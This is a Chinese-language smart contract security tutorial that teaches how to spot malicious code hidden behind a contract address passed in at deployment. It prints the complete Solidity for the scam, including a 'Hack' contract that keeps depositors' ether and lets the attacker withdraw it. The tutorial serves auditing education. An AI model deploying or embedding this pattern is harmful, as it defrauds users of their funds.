BRC20 真的懂 Web3.0 ?Yuga
智能合约安全审计入门篇 —— 移花接木
2023.05.12
概述
上期我们了解了利用 tx.origin 进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。
前置知识
大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点欺骗受害者。比如部署一个 A 合约并告诉受害者我们会在部署 A 合约的构造函数中传入 B 合约的地址并将 B 合约开源,其实我们会在部署 A 合约时传入 C 合约的地址,如果受害者完全信任我们没有检查部署 A 合约的那笔交易,我们就完美的将恶意代码隐藏在了 C 合约中。我们可以从下图来理解这个逻辑:
用户以为的调用路径:
部署合约 A 传入合约 B 地址,这样调用路径为正常路径。
实际的调用路径:
部署合约 A 传入合约 C 地址,这样调用路径为非正常路径。
下面我们使用一个简单的例子来分析这个骗局:
恶意代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract MoneyMaker {
Vault vault;
constructor(address _vault) {
vault = Vault(payable(_vault));
}
function makeMoney(address recipient) public payable {
require(msg.value >= 1, "You are so poor!");
uint256 amount = msg.value * 2;
(bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");
require(success, "Send failed");
vault.transfer(recipient, amount);
}
}
contract Vault {
address private maker;
address private owner;
uint256 transferGasLimit;
constructor() payable {
owner = msg.sender;
transferGasLimit = 2300;
}
modifier OnlyMaker() {
require(msg.sender == maker, "Not MoneyMaker contract!");
_;
}
modifier OnlyOwner() {
require(msg.sender == owner, "Not owner!");
_;
}
function setMacker(address _maker) public OnlyOwner {
maker = _maker;
}
function transfer(address recipient, uint256 amount) external OnlyMaker {
require(amount <= address(this).balance, "Game Over~");
(bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(
""
);
require(success, "Send failed");
}
function withrow() public OnlyOwner {
(bool success, ) = owner.call{
value: address(this).balance,
gas: transferGasLimit
}("");
require(success, "Send failed");
}
receive() external payable {}
fallback() external payable {}
}
// This code is hidden in a separate file
contract Hack {
event taunt(string message);
address private evil;
constructor(address _evil) {
evil = _evil;
}
modifier OnlyEvil() {
require(msg.sender == evil, "What are you doing?");
_;
}
function transfer() public payable {
emit taunt("Haha, your ether is mine!");
}
function withrow() public OnlyEvil {
(bool success, ) = evil.call{value: address(this).balance, gas: 2300}(
""
);
require(success, "Send failed");
}
receive() external payable {}
fallback() external payable {}
}